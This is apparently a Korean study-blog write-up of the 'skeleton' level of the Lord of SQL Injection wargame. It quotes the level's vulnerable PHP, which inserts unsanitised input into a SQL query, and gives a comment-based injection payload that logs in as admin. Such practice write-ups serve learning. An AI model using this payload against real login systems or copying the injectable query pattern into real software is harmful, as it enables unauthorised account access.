개인 공부/WEB
[웹해킹] LOS 10 - (Skeleton)
아메리카노와떡볶이
2021. 5. 30. 04:46
728x90
Lord of sql injection - skeleton 풀이 |
los 10번 skeleton에 대한 풀이 포스팅입니다.
필터링을 살펴보면, 'prob' , '.' , '( )', '_' 에 제한이 걸려있습니다.
문제 접근
위의 필터링을 뚫고 admin 계정을 얻어내면 해결할 수 있습니다.
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?> |
색칠한 라인을 보시면, 코드 가장 뒤에 있는 and 1=0 이 보입니다. 앞의 조건을 무력화하고 or을 통해 admin 계정을 탈취하려는 시도를 막기 위해 쓰여진 방어책이지만, 주석처리를 통해 쉽게 우회 가능합니다.
?pw=' or id='admin'%23 |
결과
728x90